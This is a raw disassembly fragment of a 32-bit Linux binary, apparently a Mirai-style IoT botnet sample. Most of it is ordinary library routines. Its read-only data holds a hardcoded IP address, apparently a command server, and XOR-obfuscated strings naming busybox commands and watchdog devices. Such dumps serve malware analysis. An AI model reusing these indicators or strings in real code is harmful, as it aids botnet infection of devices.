804e5f6: e8 bb df ff ff call 0x804c5b6
804e5fb: f7 de neg %esi
804e5fd: 89 30 mov %esi,(%eax)
804e5ff: 83 ce ff or $0xffffffff,%esi
804e602: 89 f0 mov %esi,%eax
804e604: 5a pop %edx
804e605: 5e pop %esi
804e606: 5f pop %edi
804e607: c3 ret
804e608: 57 push %edi
804e609: 83 ec 08 sub $0x8,%esp
804e60c: 8b 7c 24 10 mov 0x10(%esp),%edi
804e610: 53 push %ebx
804e611: 89 fb mov %edi,%ebx
804e613: b8 2b 00 00 00 mov $0x2b,%eax
804e618: cd 80 int $0x80
804e61a: 5b pop %ebx
804e61b: 89 c7 mov %eax,%edi
804e61d: 3d 00 f0 ff ff cmp $0xfffff000,%eax
804e622: 76 0c jbe 0x804e630
804e624: e8 8d df ff ff call 0x804c5b6
804e629: f7 df neg %edi
804e62b: 89 38 mov %edi,(%eax)
804e62d: 83 cf ff or $0xffffffff,%edi
804e630: 89 f8 mov %edi,%eax
804e632: 5a pop %edx
804e633: 59 pop %ecx
804e634: 5f pop %edi
804e635: c3 ret
804e636: 56 push %esi
804e637: 53 push %ebx
804e638: 83 ec 08 sub $0x8,%esp
804e63b: 8b 74 24 14 mov 0x14(%esp),%esi
804e63f: 8b 5c 24 18 mov 0x18(%esp),%ebx
804e643: 6a 58 push $0x58
804e645: 6a 00 push $0x0
804e647: 53 push %ebx
804e648: e8 ba df ff ff call 0x804c607
804e64d: 0f b7 06 movzwl (%esi),%eax
804e650: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx)
804e657: 89 03 mov %eax,(%ebx)
804e659: 8b 46 04 mov 0x4(%esi),%eax
804e65c: 89 43 0c mov %eax,0xc(%ebx)
804e65f: 0f b7 46 08 movzwl 0x8(%esi),%eax
804e663: 89 43 10 mov %eax,0x10(%ebx)
804e666: 0f b7 46 0a movzwl 0xa(%esi),%eax
804e66a: 89 43 14 mov %eax,0x14(%ebx)
804e66d: 0f b7 46 0c movzwl 0xc(%esi),%eax
804e671: 89 43 18 mov %eax,0x18(%ebx)
804e674: 0f b7 46 0e movzwl 0xe(%esi),%eax
804e678: 89 43 1c mov %eax,0x1c(%ebx)
804e67b: 0f b7 46 10 movzwl 0x10(%esi),%eax
804e67f: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx)
804e686: 89 43 20 mov %eax,0x20(%ebx)
804e689: 8b 46 14 mov 0x14(%esi),%eax
804e68c: 89 43 2c mov %eax,0x2c(%ebx)
804e68f: 8b 46 18 mov 0x18(%esi),%eax
804e692: 89 43 30 mov %eax,0x30(%ebx)
804e695: 8b 46 1c mov 0x1c(%esi),%eax
804e698: 89 43 34 mov %eax,0x34(%ebx)
804e69b: 8b 46 20 mov 0x20(%esi),%eax
804e69e: 89 43 38 mov %eax,0x38(%ebx)
804e6a1: 8b 46 28 mov 0x28(%esi),%eax
804e6a4: 89 43 40 mov %eax,0x40(%ebx)
804e6a7: 8b 46 30 mov 0x30(%esi),%eax
804e6aa: 89 43 48 mov %eax,0x48(%ebx)
804e6ad: 83 c4 14 add $0x14,%esp
804e6b0: 5b pop %ebx
804e6b1: 5e pop %esi
804e6b2: c3 ret
804e6b3: 57 push %edi
804e6b4: 56 push %esi
804e6b5: 8b 44 24 14 mov 0x14(%esp),%eax
804e6b9: 8b 74 24 10 mov 0x10(%esp),%esi
804e6bd: 89 c1 mov %eax,%ecx
804e6bf: 8b 7c 24 0c mov 0xc(%esp),%edi
804e6c3: c1 e9 02 shr $0x2,%ecx
804e6c6: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
804e6c8: a8 02 test $0x2,%al
804e6ca: 74 02 je 0x804e6ce
804e6cc: 66 a5 movsw %ds:(%esi),%es:(%edi)
804e6ce: a8 01 test $0x1,%al
804e6d0: 74 01 je 0x804e6d3
804e6d2: a4 movsb %ds:(%esi),%es:(%edi)
804e6d3: 8b 44 24 0c mov 0xc(%esp),%eax
804e6d7: 5e pop %esi
804e6d8: 5f pop %edi
804e6d9: c3 ret
804e6da: 55 push %ebp
804e6db: 57 push %edi
804e6dc: 56 push %esi
804e6dd: 53 push %ebx
804e6de: 83 ec 04 sub $0x4,%esp
804e6e1: 8b 4c 24 18 mov 0x18(%esp),%ecx
804e6e5: 85 c9 test %ecx,%ecx
804e6e7: 74 7d je 0x804e766
804e6e9: 31 f6 xor %esi,%esi
804e6eb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804e6f2: eb 51 jmp 0x804e745
804e6f4: 0f be 01 movsbl (%ecx),%eax
804e6f7: 8b 2d 84 f0 04 08 mov 0x804f084,%ebp
804e6fd: f6 44 45 00 08 testb $0x8,0x0(%ebp,%eax,2)
804e702: 74 62 je 0x804e766
804e704: 31 ff xor %edi,%edi
804e706: eb 10 jmp 0x804e718
804e708: 6b c7 0a imul $0xa,%edi,%eax
804e70b: 8d 7c 18 d0 lea -0x30(%eax,%ebx,1),%edi
804e70f: 81 ff ff 00 00 00 cmp $0xff,%edi
804e715: 7f 4f jg 0x804e766
804e717: 41 inc %ecx
804e718: 8a 11 mov (%ecx),%dl
804e71a: 0f be da movsbl %dl,%ebx
804e71d: 0f b7 44 5d 00 movzwl 0x0(%ebp,%ebx,2),%eax
804e722: a8 08 test $0x8,%al
804e724: 75 e2 jne 0x804e708
804e726: 83 3c 24 03 cmpl $0x3,(%esp)
804e72a: 7f 08 jg 0x804e734
804e72c: 80 fa 2e cmp $0x2e,%dl
804e72f: 75 35 jne 0x804e766
804e731: 41 inc %ecx
804e732: eb 09 jmp 0x804e73d
804e734: 41 inc %ecx
804e735: 84 d2 test %dl,%dl
804e737: 74 04 je 0x804e73d
804e739: a8 20 test $0x20,%al
804e73b: 74 29 je 0x804e766
804e73d: c1 e6 08 shl $0x8,%esi
804e740: ff 04 24 incl (%esp)
804e743: 09 fe or %edi,%esi
804e745: 83 3c 24 04 cmpl $0x4,(%esp)
804e749: 7e a9 jle 0x804e6f4
804e74b: b8 01 00 00 00 mov $0x1,%eax
804e750: 83 7c 24 1c 00 cmpl $0x0,0x1c(%esp)
804e755: 74 11 je 0x804e768
804e757: 8b 44 24 1c mov 0x1c(%esp),%eax
804e75b: 0f ce bswap %esi
804e75d: 89 30 mov %esi,(%eax)
804e75f: b8 01 00 00 00 mov $0x1,%eax
804e764: eb 02 jmp 0x804e768
804e766: 31 c0 xor %eax,%eax
804e768: 5a pop %edx
804e769: 5b pop %ebx
804e76a: 5e pop %esi
804e76b: 5f pop %edi
804e76c: 5d pop %ebp
804e76d: c3 ret
804e76e: 83 ec 0c sub $0xc,%esp
804e771: e8 b1 d9 ff ff call 0x804c127
804e776: 52 push %edx
804e777: 52 push %edx
804e778: ff 74 24 18 pushl 0x18(%esp)
804e77c: 50 push %eax
804e77d: e8 30 da ff ff call 0x804c1b2
804e782: 83 c4 1c add $0x1c,%esp
804e785: c3 ret
804e786: 53 push %ebx
804e787: b8 01 00 00 00 mov $0x1,%eax
804e78c: 8b 4c 24 0c mov 0xc(%esp),%ecx
804e790: 8b 54 24 08 mov 0x8(%esp),%edx
804e794: 49 dec %ecx
804e795: 89 cb mov %ecx,%ebx
804e797: 83 e1 1f and $0x1f,%ecx
804e79a: c1 eb 05 shr $0x5,%ebx
804e79d: d3 e0 shl %cl,%eax
804e79f: 85 04 9a test %eax,(%edx,%ebx,4)
804e7a2: 5b pop %ebx
804e7a3: 0f 95 c0 setne %al
804e7a6: 0f b6 c0 movzbl %al,%eax
804e7a9: c3 ret
804e7aa: 53 push %ebx
804e7ab: b8 01 00 00 00 mov $0x1,%eax
804e7b0: 8b 4c 24 0c mov 0xc(%esp),%ecx
804e7b4: 8b 5c 24 08 mov 0x8(%esp),%ebx
804e7b8: 49 dec %ecx
804e7b9: 89 ca mov %ecx,%edx
804e7bb: 83 e1 1f and $0x1f,%ecx
804e7be: c1 ea 05 shr $0x5,%edx
804e7c1: d3 e0 shl %cl,%eax
804e7c3: 09 04 93 or %eax,(%ebx,%edx,4)
804e7c6: 31 c0 xor %eax,%eax
804e7c8: 5b pop %ebx
804e7c9: c3 ret
804e7ca: 8b 50 1c mov 0x1c(%eax),%edx
804e7cd: 89 15 b8 f5 04 08 mov %edx,0x804f5b8
804e7d3: 8b 40 2c mov 0x2c(%eax),%eax
804e7d6: a3 bc f5 04 08 mov %eax,0x804f5bc
804e7db: c3 ret
804e7dc: 53 push %ebx
804e7dd: ba 2d 00 00 00 mov $0x2d,%edx
804e7e2: 83 ec 08 sub $0x8,%esp
804e7e5: 89 d0 mov %edx,%eax
804e7e7: 8b 5c 24 10 mov 0x10(%esp),%ebx
804e7eb: 89 d9 mov %ebx,%ecx
804e7ed: 89 db mov %ebx,%ebx
804e7ef: cd 80 int $0x80
804e7f1: 89 cb mov %ecx,%ebx
804e7f3: 31 c9 xor %ecx,%ecx
804e7f5: a3 04 f1 04 08 mov %eax,0x804f104
804e7fa: 39 d8 cmp %ebx,%eax
804e7fc: 73 0e jae 0x804e80c
804e7fe: e8 b3 dd ff ff call 0x804c5b6
804e803: 83 c9 ff or $0xffffffff,%ecx
804e806: c7 00 0c 00 00 00 movl $0xc,(%eax)
804e80c: 89 c8 mov %ecx,%eax
804e80e: 5a pop %edx
804e80f: 59 pop %ecx
804e810: 5b pop %ebx
804e811: c3 ret
804e812: 83 ec 0c sub $0xc,%esp
804e815: 89 c2 mov %eax,%edx
804e817: f7 da neg %edx
804e819: e8 98 dd ff ff call 0x804c5b6
804e81e: 89 10 mov %edx,(%eax)
804e820: 83 c8 ff or $0xffffffff,%eax
804e823: 83 c4 0c add $0xc,%esp
804e826: c3 ret
804e827: 90 nop
804e828: 90 nop
804e829: 90 nop
804e82a: 90 nop
804e82b: 90 nop
804e82c: 90 nop
804e82d: 90 nop
804e82e: 90 nop
804e82f: 90 nop
804e830: 55 push %ebp
804e831: 89 e5 mov %esp,%ebp
804e833: 53 push %ebx
804e834: 83 ec 04 sub $0x4,%esp
804e837: bb 00 f0 04 08 mov $0x804f000,%ebx
804e83c: a1 00 f0 04 08 mov 0x804f000,%eax
804e841: 83 f8 ff cmp $0xffffffff,%eax
804e844: 74 0c je 0x804e852
804e846: 83 eb 04 sub $0x4,%ebx
804e849: ff d0 call *%eax
804e84b: 8b 03 mov (%ebx),%eax
804e84d: 83 f8 ff cmp $0xffffffff,%eax
804e850: 75 f4 jne 0x804e846
804e852: 58 pop %eax
804e853: 5b pop %ebx
804e854: 5d pop %ebp
804e855: c3 ret
Disassembly of section .fini:
0804e856 <.fini>:
804e856: 55 push %ebp
804e857: 89 e5 mov %esp,%ebp
804e859: 53 push %ebx
804e85a: e8 51 98 ff ff call 0x80480b0
804e85f: 81 c3 b5 07 00 00 add $0x7b5,%ebx
804e865: e8 56 98 ff ff call 0x80480c0
804e86a: 5b pop %ebx
804e86b: 5d pop %ebp
804e86c: c3 ret
Disassembly of section .rodata:
0804e880 <.rodata>:
804e880: 2f das
804e881: 00 32 add %dh,(%edx)
804e883: 30 37 xor %dh,(%edi)
804e885: 2e 31 35 34 2e 32 30 xor %esi,%cs:0x30322e34
804e88c: 35 2e 32 32 33 xor $0x3332322e,%eax
804e891: 00 0a add %cl,(%edx)
804e893: 00 00 add %al,(%eax)
804e895: 00 00 add %al,(%eax)
804e897: 01 00 add %eax,(%eax)
804e899: 37 aaa
804e89a: 89 00 mov %eax,(%eax)
804e89c: 44 inc %esp
804e89d: 52 push %edx
804e89e: 00 1b add %bl,(%ebx)
804e8a0: 03 15 06 1d 64 6d add 0x6d641d06,%edx
804e8a6: 65 66 67 3d 30 6d gs addr16 cmp $0x6d30,%ax
804e8ac: 3d 65 66 67 2c cmp $0x2c676665,%eax
804e8b1: 30 6d 65 xor %ch,0x65(%ebp)
804e8b4: 66 54 push %sp
804e8b6: 00 27 add %ah,(%edi)
804e8b8: 3c 31 cmp $0x31,%al
804e8ba: 38 38 cmp %bh,(%eax)
804e8bc: 54 push %esp
804e8bd: 00 31 add %dh,(%ecx)
804e8bf: 3a 35 36 38 31 54 cmp 0x54313836,%dh
804e8c5: 00 27 add %ah,(%edi)
804e8c7: 2d 27 20 31 39 sub $0x39312027,%eax
804e8cc: 54 push %esp
804e8cd: 00 27 add %ah,(%edi)
804e8cf: 3c 54 cmp $0x54,%al
804e8d1: 00 7b 36 add %bh,0x36(%ebx)
804e8d4: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax
804e8d9: 27 daa
804e8da: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e8df: 1b 03 sbb (%ebx),%eax
804e8e1: 15 06 1d 54 00 adc $0x541d06,%eax
804e8e6: 1b 03 sbb (%ebx),%eax
804e8e8: 15 06 1d 6e 74 adc $0x746e1d06,%eax
804e8ed: 35 24 24 38 31 xor $0x31382424,%eax
804e8f2: 20 74 3a 3b and %dh,0x3b(%edx,%edi,1)
804e8f6: 20 74 32 3b and %dh,0x3b(%edx,%esi,1)
804e8fa: 21 3a and %edi,(%edx)
804e8fc: 30 54 00 3a xor %dl,0x3a(%eax,%eax,1)
804e900: 37 aaa
804e901: 3b 26 cmp (%esi),%esp
804e903: 26 31 37 xor %esi,%es:(%edi)
804e906: 20 54 00 7b and %dl,0x7b(%eax,%eax,1)
804e90a: 36 3d 3a 7b 36 21 ss cmp $0x21367b3a,%eax
804e910: 27 daa
804e911: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e916: 24 27 and $0x27,%al
804e918: 54 push %esp
804e919: 00 7b 36 add %bh,0x36(%ebx)
804e91c: 3d 3a 7b 36 21 cmp $0x21367b3a,%eax
804e921: 27 daa
804e922: 2d 36 3b 2c 74 sub $0x742c3b36,%eax
804e927: 3f aas
804e928: 3d 38 38 74 79 cmp $0x79743838,%eax
804e92d: 6d insl (%dx),%es:(%edi)
804e92e: 74 54 je 0x804e984
804e930: 00 7b 24 add %bh,0x24(%ebx)
804e933: 26 3b 37 cmp %es:(%edi),%esi
804e936: 7b 54 jnp 0x804e98c
804e938: 00 7b 31 add %bh,0x31(%ebx)
804e93b: 2c 31 sub $0x31,%al
804e93d: 54 push %esp
804e93e: 00 7b 32 add %bh,0x32(%ebx)
804e941: 30 54 00 7b xor %dl,0x7b(%eax,%eax,1)
804e945: 39 35 24 27 54 00 cmp %esi,0x542724
804e94b: 7b 24 jnp 0x804e971
804e94d: 26 3b 37 cmp %es:(%edi),%esi
804e950: 7b 3a jnp 0x804e98c
804e952: 31 20 xor %esp,(%eax)
804e954: 7b 20 jnp 0x804e976
804e956: 37 aaa
804e957: 24 54 and $0x54,%al
804e959: 00 7b 27 add %bh,0x27(%ebx)
804e95c: 20 35 20 21 27 54 and %dh,0x54272120
804e962: 00 7a 35 add %bh,0x35(%edx)
804e965: 3a 3d 39 31 54 00 cmp 0x543139,%bh
804e96b: 7b 24 jnp 0x804e991
804e96d: 26 3b 37 cmp %es:(%edi),%esi
804e970: 7b 3a jnp 0x804e9ac
804e972: 31 20 xor %esp,(%eax)
804e974: 7b 26 jnp 0x804e99c
804e976: 3b 21 cmp (%ecx),%esp
804e978: 20 31 and %dh,(%ecx)
804e97a: 54 push %esp
804e97b: 00 35 27 27 23 3b add %dh,0x3b232727
804e981: 26 30 54 00 7b xor %dl,%es:0x7b(%eax,%eax,1)
804e986: 31 20 xor %esp,(%eax)
804e988: 37 aaa
804e989: 7b 26 jnp 0x804e9b1
804e98b: 31 27 xor %esp,(%edi)
804e98d: 3b 38 cmp (%eax),%edi
804e98f: 22 7a 37 and 0x37(%edx),%bh
804e992: 3b 3a cmp (%edx),%edi
804e994: 32 54 00 3a xor 0x3a(%eax,%eax,1),%dl
804e998: 35 39 31 27 31 xor $0x31273139,%eax
804e99d: 26 22 31 and %es:(%ecx),%dh
804e9a0: 26 74 54 es je 0x804e9f7
804e9a3: 00 7b 30 add %bh,0x30(%ebx)
804e9a6: 31 22 xor %esp,(%edx)
804e9a8: 7b 23 jnp 0x804e9cd
804e9aa: 35 20 37 3c 30 xor $0x303c3720,%eax
804e9af: 3b 33 cmp (%ebx),%esi
804e9b1: 54 push %esp
804e9b2: 00 7b 30 add %bh,0x30(%ebx)
804e9b5: 31 22 xor %esp,(%edx)
804e9b7: 7b 39 jnp 0x804e9f2
804e9b9: 3d 27 37 7b 23 cmp $0x237b3727,%eax
804e9be: 35 20 37 3c 30 xor $0x303c3720,%eax
804e9c3: 3b 33 cmp (%ebx),%esi
804e9c5: 54 push %esp
804e9c6: 00 24 36 add %ah,(%esi,%esi,1)
804e9c9: 36 32 2a xor %ss:(%edx),%ch
804e9cc: 37 aaa
804e9cd: 21 45 00 and %eax,0x0(%ebp)
804e9d0: 3b 33 cmp (%ebx),%esi
804e9d2: 3d 3a 54 00 31 cmp $0x3100543a,%eax
804e9d7: 3a 20 cmp (%eax),%ah
804e9d9: 31 26 xor %esp,(%esi)
804e9db: 54 push %esp
804e9dc: 00 6d 21 add %ch,0x21(%ebp)
804e9df: 65 66 67 60 gs addr16 pushaw
804e9e3: 60 pusha
804e9e4: 6c insb (%dx),%es:(%edi)
804e9e5: 21 65 66 and %esp,0x66(%ebp)
804e9e8: 60 pusha
804e9e9: 35 21 6c 65 60 xor $0x60656c21,%eax
804e9ee: 30 60 2c xor %ah,0x2c(%eax)
804e9f1: 65 64 54 gs fs push %esp
804e9f4: 00 00 add %al,(%eax)
804e9f6: 07 pop %es
804e9f7: 3b 21 cmp (%ecx),%esp
804e9f9: 26 37 es aaa
804e9fb: 31 74 11 3a xor %esi,0x3a(%ecx,%edx,1)
804e9ff: 33 3d 3a 31 74 05 xor 0x574313a,%edi
804ea05: 21 31 and %esi,(%ecx)
804ea07: 26 2d 54 00 00 44 es sub $0x44000054,%eax
804ea0d: dc 04 08 faddl (%eax,%ecx,1)
804ea10: 29 dd sub %ebx,%ebp
804ea12: 04 08 add $0x8,%al
804ea14: 4e dec %esi
804ea15: dc 04 08 faddl (%eax,%ecx,1)
804ea18: 58 pop %eax
804ea19: dc 04 08 faddl (%eax,%ecx,1)
804ea1c: 62 (bad)
804ea1d: dc 04 08 faddl (%eax,%ecx,1)
804ea20: f8 clc
804ea21: dc 04 08 faddl (%eax,%ecx,1)
804ea24: 6a dc push $0xffffffdc
804ea26: 04 08 add $0x8,%al
804ea28: 2a dc sub %ah,%bl
804ea2a: 04 08 add $0x8,%al
804ea2c: 2a dc sub %ah,%bl
804ea2e: 04 08 add $0x8,%al
804ea30: 2a dc sub %ah,%bl
804ea32: 04 08 add $0x8,%al
804ea34: 2a dc sub %ah,%bl
804ea36: 04 08 add $0x8,%al
804ea38: 2a dc sub %ah,%bl
804ea3a: 04 08 add $0x8,%al
804ea3c: 2a dc sub %ah,%bl
804ea3e: 04 08 add $0x8,%al
804ea40: 2a dc sub %ah,%bl
804ea42: 04 08 add $0x8,%al
804ea44: 2a dc sub %ah,%bl
804ea46: 04 08 add $0x8,%al
804ea48: 2a dc sub %ah,%bl
804ea4a: 04 08 add $0x8,%al
804ea4c: 2a dc sub %ah,%bl
804ea4e: 04 08 add $0x8,%al
804ea50: 2a dc sub %ah,%bl
804ea52: 04 08 add $0x8,%al
804ea54: 2a dc sub %ah,%bl
804ea56: 04 08 add $0x8,%al
804ea58: 2a dc sub %ah,%bl
804ea5a: 04 08 add $0x8,%al
804ea5c: 2a dc sub %ah,%bl
804ea5e: 04 08 add $0x8,%al
804ea60: 2a dc sub %ah,%bl
804ea62: 04 08 add $0x8,%al
804ea64: 2a dc sub %ah,%bl
804ea66: 04 08 add $0x8,%al
804ea68: 29 dd sub %ebx,%ebp
804ea6a: 04 08 add $0x8,%al
804ea6c: 29 dd sub %ebx,%ebp
804ea6e: 04 08 add $0x8,%al
804ea70: 35 dd 04 08 06 xor $0x60804dd,%eax
804ea75: dd 04 08 fldl (%eax,%ecx,1)
804ea78: 29 dd sub %ebx,%ebp
804ea7a: 04 08 add $0x8,%al
804ea7c: 7c dc jl 0x804ea5a
804ea7e: 04 08 add $0x8,%al
804ea80: ff (bad)
804ea81: dc 04 08 faddl (%eax,%ecx,1)
804ea84: 74 dc je 0x804ea62
804ea86: 04 08 add $0x8,%al
804ea88: 14 dd adc $0xdd,%al
804ea8a: 04 08 add $0x8,%al
804ea8c: 29 dd sub %ebx,%ebp
804ea8e: 04 08 add $0x8,%al
804ea90: 29 dd sub %ebx,%ebp
804ea92: 04 08 add $0x8,%al
804ea94: 29 dd sub %ebx,%ebp
804ea96: 04 08 add $0x8,%al
804ea98: 0d dd 04 08 3c or $0x3c0804dd,%eax
804ea9d: dd 04 08 fldl (%eax,%ecx,1)
804eaa0: 43 inc %ebx
804eaa1: dd 04 08 fldl (%eax,%ecx,1)
804eaa4: 3c dd cmp $0xdd,%al
804eaa6: 04 08 add $0x8,%al
804eaa8: 86 dc xchg %bl,%ah
804eaaa: 04 08 add $0x8,%al
804eaac: 4a dec %edx
804eaad: dd 04 08 fldl (%eax,%ecx,1)
804eab0: 29 dd sub %ebx,%ebp
804eab2: 04 08 add $0x8,%al
804eab4: 14 dd adc $0xdd,%al
804eab6: 04 08 add $0x8,%al
804eab8: 43 inc %ebx
804eab9: dd 04 08 fldl (%eax,%ecx,1)
804eabc: 51 push %ecx
804eabd: dd 04 08 fldl (%eax,%ecx,1)
804eac0: 43 inc %ebx
804eac1: dd 04 08 fldl (%eax,%ecx,1)
804eac4: ff (bad)
804eac5: dc 04 08 faddl (%eax,%ecx,1)
804eac8: ff (bad)
804eac9: dc 04 08 faddl (%eax,%ecx,1)
804eacc: ff (bad)
804eacd: dc 04 08 faddl (%eax,%ecx,1)
804ead0: 29 dd sub %ebx,%ebp
804ead2: 04 08 add $0x8,%al
804ead4: 29 dd sub %ebx,%ebp
804ead6: 04 08 add $0x8,%al
804ead8: ff (bad)
804ead9: dc 04 08 faddl (%eax,%ecx,1)
804eadc: ff (bad)
804eadd: dc 04 08 faddl (%eax,%ecx,1)
804eae0: 29 dd sub %ebx,%ebp
804eae2: 04 08 add $0x8,%al
804eae4: 29 dd sub %ebx,%ebp
804eae6: 04 08 add $0x8,%al
804eae8: 29 dd sub %ebx,%ebp
804eaea: 04 08 add $0x8,%al
804eaec: 29 dd sub %ebx,%ebp
804eaee: 04 08 add $0x8,%al
804eaf0: 29 dd sub %ebx,%ebp
804eaf2: 04 08 add $0x8,%al
804eaf4: 29 dd sub %ebx,%ebp
804eaf6: 04 08 add $0x8,%al
804eaf8: 29 dd sub %ebx,%ebp
804eafa: 04 08 add $0x8,%al
804eafc: 29 dd sub %ebx,%ebp
804eafe: 04 08 add $0x8,%al
804eb00: 29 dd sub %ebx,%ebp
804eb02: 04 08 add $0x8,%al
804eb04: 29 dd sub %ebx,%ebp
804eb06: 04 08 add $0x8,%al
804eb08: 29 dd sub %ebx,%ebp
804eb0a: 04 08 add $0x8,%al
804eb0c: 29 dd sub %ebx,%ebp
804eb0e: 04 08 add $0x8,%al
804eb10: 29 dd sub %ebx,%ebp
804eb12: 04 08 add $0x8,%al
804eb14: 29 dd sub %ebx,%ebp
804eb16: 04 08 add $0x8,%al
804eb18: 2a dc sub %ah,%bl
804eb1a: 04 08 add $0x8,%al
804eb1c: 2a dc sub %ah,%bl
804eb1e: 04 08 add $0x8,%al
804eb20: 0d dd 04 08 0d or $0xd0804dd,%eax
804eb25: dd 04 08 fldl (%eax,%ecx,1)
804eb28: 0d dd 04 08 14 or $0x140804dd,%eax
804eb2d: dd 04 08 fldl (%eax,%ecx,1)
804eb30: 1b dd sbb %ebp,%ebx
804eb32: 04 08 add $0x8,%al
804eb34: 22 dd and %ch,%bl
804eb36: 04 08 add $0x8,%al
804eb38: 90 nop
804eb39: dc 04 08 faddl (%eax,%ecx,1)
804eb3c: 22 dd and %ch,%bl
804eb3e: 04 08 add $0x8,%al
804eb40: 2a dc sub %ah,%bl
804eb42: 04 08 add $0x8,%al
804eb44: 2a dc sub %ah,%bl
804eb46: 04 08 add $0x8,%al
804eb48: 2a dc sub %ah,%bl
804eb4a: 04 08 add $0x8,%al
804eb4c: 2a dc sub %ah,%bl
804eb4e: 04 08 add $0x8,%al
804eb50: 2a dc sub %ah,%bl
804eb52: 04 08 add $0x8,%al
804eb54: 2a dc sub %ah,%bl
804eb56: 04 08 add $0x8,%al
804eb58: 2a dc sub %ah,%bl
804eb5a: 04 08 add $0x8,%al
804eb5c: 2a dc sub %ah,%bl
804eb5e: 04 08 add $0x8,%al
804eb60: 29 dd sub %ebx,%ebp
804eb62: 04 08 add $0x8,%al
804eb64: 29 dd sub %ebx,%ebp
804eb66: 04 08 add $0x8,%al
804eb68: 06 push %es
804eb69: dd 04 08 fldl (%eax,%ecx,1)
804eb6c: 9a dc 04 08 a4 dc 04 lcall $0x4dc,$0xa40804dc
804eb73: 08 1b or %bl,(%ebx)
804eb75: dd 04 08 fldl (%eax,%ecx,1)
804eb78: 2a dc sub %ah,%bl
804eb7a: 04 08 add $0x8,%al
804eb7c: 2a dc sub %ah,%bl
804eb7e: 04 08 add $0x8,%al
804eb80: 2a dc sub %ah,%bl
804eb82: 04 08 add $0x8,%al
804eb84: 2a dc sub %ah,%bl
804eb86: 04 08 add $0x8,%al
804eb88: ff (bad)
804eb89: dc 04 08 faddl (%eax,%ecx,1)
804eb8c: 29 dd sub %ebx,%ebp
804eb8e: 04 08 add $0x8,%al
804eb90: 29 dd sub %ebx,%ebp
804eb92: 04 08 add $0x8,%al
804eb94: 2a dc sub %ah,%bl
804eb96: 04 08 add $0x8,%al
804eb98: 2a dc sub %ah,%bl
804eb9a: 04 08 add $0x8,%al
804eb9c: 2a dc sub %ah,%bl
804eb9e: 04 08 add $0x8,%al
804eba0: ae scas %es:(%edi),%al
804eba1: dc 04 08 faddl (%eax,%ecx,1)
804eba4: f1 icebp
804eba5: dc 04 08 faddl (%eax,%ecx,1)
804eba8: 2e dd 04 08 fldl %cs:(%eax,%ecx,1)
804ebac: 06 push %es
804ebad: dd 04 08 fldl (%eax,%ecx,1)
804ebb0: b8 dc 04 08 14 mov $0x140804dc,%eax
804ebb5: dd 04 08 fldl (%eax,%ecx,1)
804ebb8: 14 dd adc $0xdd,%al
804ebba: 04 08 add $0x8,%al
804ebbc: f8 clc
804ebbd: dc 04 08 faddl (%eax,%ecx,1)
804ebc0: 35 dd 04 08 51 xor $0x510804dd,%eax
804ebc5: dd 04 08 fldl (%eax,%ecx,1)
804ebc8: f1 icebp
804ebc9: dc 04 08 faddl (%eax,%ecx,1)
804ebcc: 2e dd 04 08 fldl %cs:(%eax,%ecx,1)
804ebd0: 51 push %ecx
804ebd1: dd 04 08 fldl (%eax,%ecx,1)
804ebd4: c2 dc 04 ret $0x4dc
804ebd7: 08 4a dd or %cl,-0x23(%edx)
804ebda: 04 08 add $0x8,%al
804ebdc: 29 dd sub %ebx,%ebp
804ebde: 04 08 add $0x8,%al
804ebe0: 29 dd sub %ebx,%ebp
804ebe2: 04 08 add $0x8,%al
804ebe4: cc int3
804ebe5: dc 04 08 faddl (%eax,%ecx,1)
804ebe8: d6 (bad)
804ebe9: dc 04 08 faddl (%eax,%ecx,1)
804ebec: 43 inc %ebx
804ebed: dd 04 08 fldl (%eax,%ecx,1)
804ebf0: 06 push %es
804ebf1: dd 04 08 fldl (%eax,%ecx,1)
804ebf4: 06 push %es
804ebf5: dd 04 08 fldl (%eax,%ecx,1)
804ebf8: 06 push %es
804ebf9: dd 04 08 fldl (%eax,%ecx,1)
804ebfc: 06 push %es
804ebfd: dd 04 08 fldl (%eax,%ecx,1)
804ec00: 2a dc sub %ah,%bl
804ec02: 04 08 add $0x8,%al
804ec04: 2a dc sub %ah,%bl
804ec06: 04 08 add $0x8,%al
804ec08: 29 dd sub %ebx,%ebp
804ec0a: 04 08 add $0x8,%al
804ec0c: 29 dd sub %ebx,%ebp
804ec0e: 04 08 add $0x8,%al
804ec10: 2a dc sub %ah,%bl
804ec12: 04 08 add $0x8,%al
804ec14: 2a dc sub %ah,%bl
804ec16: 04 08 add $0x8,%al
804ec18: 29 dd sub %ebx,%ebp
804ec1a: 04 08 add $0x8,%al
804ec1c: 34 dc xor $0xdc,%al
804ec1e: 04 08 add $0x8,%al
804ec20: 34 dc xor $0xdc,%al
804ec22: 04 08 add $0x8,%al
804ec24: 34 dc xor $0xdc,%al
804ec26: 04 08 add $0x8,%al
804ec28: 34 dc xor $0xdc,%al
804ec2a: 04 08 add $0x8,%al
804ec2c: 34 dc xor $0xdc,%al
804ec2e: 04 08 add $0x8,%al
804ec30: 34 dc xor $0xdc,%al
804ec32: 04 08 add $0x8,%al
804ec34: 34 dc xor $0xdc,%al
804ec36: 04 08 add $0x8,%al
804ec38: 34 dc xor $0xdc,%al
804ec3a: 04 08 add $0x8,%al
804ec3c: 34 dc xor $0xdc,%al
804ec3e: 04 08 add $0x8,%al
804ec40: 34 dc xor $0xdc,%al
804ec42: 04 08 add $0x8,%al
804ec44: 34 dc xor $0xdc,%al
804ec46: 04 08 add $0x8,%al
804ec48: 34 dc xor $0xdc,%al
804ec4a: 04 08 add $0x8,%al
804ec4c: 34 dc xor $0xdc,%al
804ec4e: 04 08 add $0x8,%al
804ec50: 34 dc xor $0xdc,%al
804ec52: 04 08 add $0x8,%al
804ec54: 34 dc xor $0xdc,%al
804ec56: 04 08 add $0x8,%al
804ec58: 34 dc xor $0xdc,%al
804ec5a: 04 08 add $0x8,%al
804ec5c: 34 dc xor $0xdc,%al
804ec5e: 04 08 add $0x8,%al
804ec60: dd dc fstp %st(4)
804ec62: 04 08 add $0x8,%al
804ec64: 2f das
804ec65: 64 65 76 2f fs gs jbe 0x804ec98
804ec69: 6e outsb %ds:(%esi),(%dx)
804ec6a: 75 6c jne 0x804ecd8
804ec6c: 6c insb (%dx),%es:(%edi)
...
804ed81: 02 00 add (%eax),%al
804ed83: 02 00 add (%eax),%al
